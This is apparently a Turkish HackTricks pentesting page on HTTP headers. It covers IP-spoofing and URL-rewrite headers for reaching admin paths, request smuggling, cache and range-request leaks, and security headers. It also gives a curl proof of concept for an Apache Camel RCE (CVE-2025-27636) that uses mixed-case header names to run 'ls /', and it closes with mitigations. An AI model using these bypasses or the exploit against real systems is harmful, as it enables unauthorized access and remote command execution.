Özel HTTP başlıkları
Reading time: 9 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Kelime Listeleri & Araçlar
- https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/Web/http-request-headers
- https://github.com/rfc-st/humble
Konumu Değiştirmek için Başlıklar
IP kaynağını yeniden yaz:
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Forwarded: 127.0.0.1
Forwarded-For: 127.0.0.1
X-Forwarded-Host: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-ProxyUser-Ip: 127.0.0.1
X-Original-URL: 127.0.0.1
Client-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Host: 127.0.0.1
True-Client-IP: 127.0.0.1
Cluster-Client-IP: 127.0.0.1
Via: 1.0 fred, 1.1 127.0.0.1
Connection: close, X-Forwarded-For
(Hop-by-hop başlıklarını kontrol et)
Konumu yeniden yaz:
X-Original-URL: /admin/console
X-Rewrite-URL: /admin/console
Hop-by-Hop başlıkları
Bir hop-by-hop başlığı, isteği işleyen proxy tarafından işlenmek ve tüketilmek üzere tasarlanmış bir başlıktır, uçtan uca başlıkların aksine.
Connection: close, X-Forwarded-For
HTTP İstek Kaçırma
Content-Length: 30
Transfer-Encoding: chunked
HTTP Request Smuggling / HTTP Desync Attack
Önbellek Başlıkları
Sunucu Önbellek Başlıkları:
X-Cache
yanıtında, istek önbelleğe alınmadığındamiss
değeri ve önbelleğe alındığındahit
değeri olabilir.Cf-Cache-Status
başlığında benzer bir davranış.Cache-Control
bir kaynağın önbelleğe alınıp alınmadığını ve bir sonraki önbelleğe alma zamanını belirtir:Cache-Control: public, max-age=1800
Vary
genellikle yanıt içinde, normalde anahtarlanmayan ek başlıkları önbellek anahtarının bir parçası olarak işaretlemek için kullanılır.Age
nesnenin proxy önbelleğinde kaç saniye kaldığını tanımlar.Server-Timing: cdn-cache; desc=HIT
ayrıca bir kaynağın önbelleğe alındığını gösterir.
Cache Poisoning and Cache Deception
Yerel Önbellek başlıkları:
Clear-Site-Data
: Silinmesi gereken önbelleği belirtmek için kullanılan başlık:Clear-Site-Data: "cache", "cookies"
Expires
: Yanıtın ne zaman sona ereceğini içeren tarih/saat:Expires: Wed, 21 Oct 2015 07:28:00 GMT
Pragma: no-cache
Cache-Control: no-cache
ile aynı.Warning
:Warning
genel HTTP başlığı, mesajın durumu ile ilgili olası sorunlar hakkında bilgi içerir. Yanıt içinde birden fazlaWarning
başlığı görünebilir.Warning: 110 anderson/1.3.37 "Response is stale"
Koşullu İstekler
- Bu başlıkları kullanan istekler:
If-Modified-Since
veIf-Unmodified-Since
yalnızca yanıt başlığıLast-Modified
farklı bir zaman içeriyorsa veri ile yanıtlanır. If-Match
veIf-None-Match
kullanan koşullu istekler, web sunucusunun veri (Etag) değiştiğinde yanıt içeriğini göndermesini sağlamak için bir Etag değeri kullanır.Etag
, HTTP yanıtından alınır.- Etag değeri genellikle yanıtın içeriğine dayalı olarak hesaplanır. Örneğin,
ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"
ifadesi,Etag
'ın 37 bayt'ın Sha1'ı olduğunu gösterir.
Aralık İstekleri
Accept-Ranges
: Sunucunun aralık isteklerini destekleyip desteklemediğini ve destekliyorsa aralığın hangi birimde ifade edilebileceğini belirtir.Accept-Ranges: <range-unit>
Range
: Sunucunun döndürmesi gereken belgenin kısmını belirtir. Örneğin,Range:80-100
orijinal yanıtın 80 ile 100 arasındaki baytlarını 206 Partial Content durum kodu ile döndürecektir. Ayrıca istekteAccept-Encoding
başlığını kaldırmayı unutmayın.- Bu, aksi takdirde kaçırılabilecek rastgele yansıtılmış javascript kodu ile bir yanıt almak için yararlı olabilir. Ancak bunu kötüye kullanmak için bu başlıkları isteğe enjekte etmeniz gerekir.
If-Range
: Verilen etag veya tarih eşleşirse yalnızca yerine getirilen koşullu bir aralık isteği oluşturur. Kaynağın uyumsuz sürümlerinden iki aralığın indirilmesini önlemek için kullanılır.Content-Range
: Tam bir mesajın içinde kısmi bir mesajın nerede bulunduğunu belirtir.
Mesaj gövdesi bilgileri
Content-Length
: Kaynağın boyutu, ondalık sayı olarak bayt cinsinden.Content-Type
: Kaynağın medya türünü belirtir.Content-Encoding
: Sıkıştırma algoritmasını belirtmek için kullanılır.Content-Language
: Hedef kitle için tasarlanan insan dili(ler)ini tanımlar, böylece kullanıcıların kendi tercih ettikleri dile göre ayırt etmelerine olanak tanır.Content-Location
: Döndürülen veriler için alternatif bir konumu belirtir.
Bir pentest açısından bu bilgi genellikle "işe yaramaz", ancak kaynak 401 veya 403 ile korunuyorsa ve bu bilgiyi almanın bir yolunu bulursanız, bu ilginç olabilir.
Örneğin, bir HEAD isteğinde Range
ve Etag
kombinasyonu, HEAD istekleri aracılığıyla sayfanın içeriğini sızdırabilir:
Range: bytes=20-20
başlığına sahip bir istek veETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"
içeren bir yanıt, 20. baytın SHA1'ininETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y
olduğunu sızdırmaktadır.
Sunucu Bilgisi
Server: Apache/2.4.1 (Unix)
X-Powered-By: PHP/5.3.3
Kontroller
Allow
: Bu başlık, bir kaynağın işleyebileceği HTTP yöntemlerini iletmek için kullanılır. Örneğin,Allow: GET, POST, HEAD
olarak belirtilmişse, kaynak bu yöntemleri destekliyor demektir.Expect
: İsteğin başarılı bir şekilde işlenmesi için sunucunun karşılaması gereken beklentileri iletmek için istemci tarafından kullanılır. Yaygın bir kullanım durumu, istemcinin büyük bir veri yükü göndermeyi planladığını belirtenExpect: 100-continue
başlığıdır. İstemci, iletimi sürdürmeden önce100 (Continue)
yanıtını bekler. Bu mekanizma, sunucu onayını bekleyerek ağ kullanımını optimize etmeye yardımcı olur.
İndirmeler
- HTTP yanıtlarındaki
Content-Disposition
başlığı, bir dosyanın inline (web sayfası içinde) mi yoksa ek olarak (indirilmiş) mi gösterileceğini yönlendirir. Örneğin:
Content-Disposition: attachment; filename="filename.jpg"
Bu, "filename.jpg" adlı dosyanın indirilip kaydedilmek üzere tasarlandığı anlamına gelir.
Güvenlik Başlıkları
İçerik Güvenlik Politikası (CSP)
Content Security Policy (CSP) Bypass
Güvenilir Türler
CSP aracılığıyla Güvenilir Türlerin zorunlu kılınması, uygulamaların DOM XSS saldırılarına karşı korunmasını sağlar. Güvenilir Türler, yalnızca belirli güvenlik politikalarına uygun olarak hazırlanmış nesnelerin tehlikeli web API çağrılarında kullanılmasına izin vererek, JavaScript kodunu varsayılan olarak güvence altına alır.
// Feature detection
if (window.trustedTypes && trustedTypes.createPolicy) {
// Name and create a policy
const policy = trustedTypes.createPolicy('escapePolicy', {
createHTML: str => str.replace(/\</g, '<').replace(/>/g, '>');
});
}
// Assignment of raw strings is blocked, ensuring safety.
el.innerHTML = "some string" // Throws an exception.
const escaped = policy.createHTML("<img src=x onerror=alert(1)>")
el.innerHTML = escaped // Results in safe assignment.
X-Content-Type-Options
Bu başlık, XSS güvenlik açıklarına yol açabilecek bir uygulama olan MIME türü sniffing'ini engeller. Tarayıcıların sunucu tarafından belirtilen MIME türlerine saygı göstermesini sağlar.
X-Content-Type-Options: nosniff
X-Frame-Options
Clickjacking ile mücadele etmek için, bu başlık belgelerin <frame>
, <iframe>
, <embed>
veya <object>
etiketlerinde nasıl gömülebileceğini kısıtlar ve tüm belgelerin gömme izinlerini açıkça belirtmesini önerir.
X-Frame-Options: DENY
Cross-Origin Resource Policy (CORP) ve Cross-Origin Resource Sharing (CORS)
CORP, hangi kaynakların web siteleri tarafından yüklenebileceğini belirlemek için kritik öneme sahiptir ve cross-site leak'leri azaltır. CORS ise, belirli koşullar altında aynı köken politikasını gevşeterek daha esnek bir cross-origin kaynak paylaşım mekanizması sağlar.
Cross-Origin-Resource-Policy: same-origin
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Credentials: true
Cross-Origin Embedder Policy (COEP) ve Cross-Origin Opener Policy (COOP)
COEP ve COOP, çapraz köken izolasyonunu sağlamak için gereklidir ve Spectre benzeri saldırıların riskini önemli ölçüde azaltır. Sırasıyla, çapraz köken kaynaklarının yüklenmesini ve çapraz köken pencereleriyle etkileşimi kontrol eder.
Cross-Origin-Embedder-Policy: require-corp
Cross-Origin-Opener-Policy: same-origin-allow-popups
HTTP Strict Transport Security (HSTS)
Son olarak, HSTS, tarayıcıların yalnızca güvenli HTTPS bağlantıları üzerinden sunucularla iletişim kurmasını zorlayan bir güvenlik özelliğidir ve böylece gizliliği ve güvenliği artırır.
Strict-Transport-Security: max-age=3153600
Header Name Casing Bypass
HTTP/1.1, başlık alan adlarını büyük/küçük harf duyarsız olarak tanımlar (RFC 9110 §5.1). Yine de, büyük/küçük harf normalizasyonu yapılmadan alınan literal başlık adını karşılaştıran özel ara katmanlar, güvenlik filtreleri veya iş mantığı bulmak oldukça yaygındır (örneğin, header.equals("CamelExecCommandExecutable")
). Eğer bu kontroller büyük/küçük harf duyarlı olarak gerçekleştirilirse, bir saldırgan, farklı bir büyük harf kullanarak aynı başlığı göndererek bunları atlatabilir.
Bu hatanın ortaya çıktığı tipik durumlar:
- İsteğin hassas bir bileşene ulaşmadan önce “tehlikeli” dahili başlıkları engellemeye çalışan özel izin/engelleme listeleri.
X-Forwarded-For
sanitizasyonu gibi ters proxy sahte başlıklarının şirket içi uygulamaları.- Yönetim / hata ayıklama uç noktalarını açan ve kimlik doğrulama veya komut seçimi için başlık adlarına güvenen çerçeveler.
Abusing the bypass
- Sunucu tarafında filtrelenen veya doğrulanan bir başlık belirleyin (örneğin, kaynak kodunu, belgeleri veya hata mesajlarını okuyarak).
- Farklı bir büyük/küçük harf ile aynı başlığı gönderin (karışık büyük/küçük harf veya tamamen büyük harf). HTTP yığınları genellikle başlıkları yalnızca kullanıcı kodu çalıştıktan sonra kanonikleştirdiğinden, savunmasız kontrol atlanabilir.
- Eğer aşağıdaki bileşen başlıkları büyük/küçük harf duyarsız bir şekilde ele alıyorsa (çoğu öyle yapar), saldırgan kontrolündeki değeri kabul edecektir.
Example: Apache Camel exec
RCE (CVE-2025-27636)
Apache Camel'ın savunmasız sürümlerinde Command Center rotaları, güvenilmeyen istekleri CamelExecCommandExecutable
ve CamelExecCommandArgs
başlıklarını kaldırarak engellemeye çalışır. Karşılaştırma equals()
ile yapıldığından, yalnızca tam küçük harfli adlar kaldırılmıştır.
# Bypass the filter by using mixed-case header names and execute `ls /` on the host
curl "http://<IP>/command-center" \
-H "CAmelExecCommandExecutable: ls" \
-H "CAmelExecCommandArgs: /"
Başlıklar, exec
bileşenine filtrelenmeden ulaşır ve bu da Camel sürecinin ayrıcalıklarıyla uzaktan komut yürütmeye yol açar.
Tespit ve Azaltma
- Tüm başlık adlarını tek bir duruma (genellikle küçük harf) önce izin/verme karşılaştırmaları yapmadan normalleştirin.
- Şüpheli tekrarları reddedin: hem
Header:
hem deHeAdEr:
mevcutsa, bunu bir anomali olarak değerlendirin. - Kanonikleştirmeden sonra uygulanan pozitif bir izin listesi kullanın.
- Yönetim uç noktalarını kimlik doğrulama ve ağ segmentasyonu ile koruyun.
Referanslar
- CVE-2025-27636 – RCE in Apache Camel via header casing bypass (OffSec blog)
- https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition
- https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers
- https://web.dev/security-headers/
- https://web.dev/articles/security-headers
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.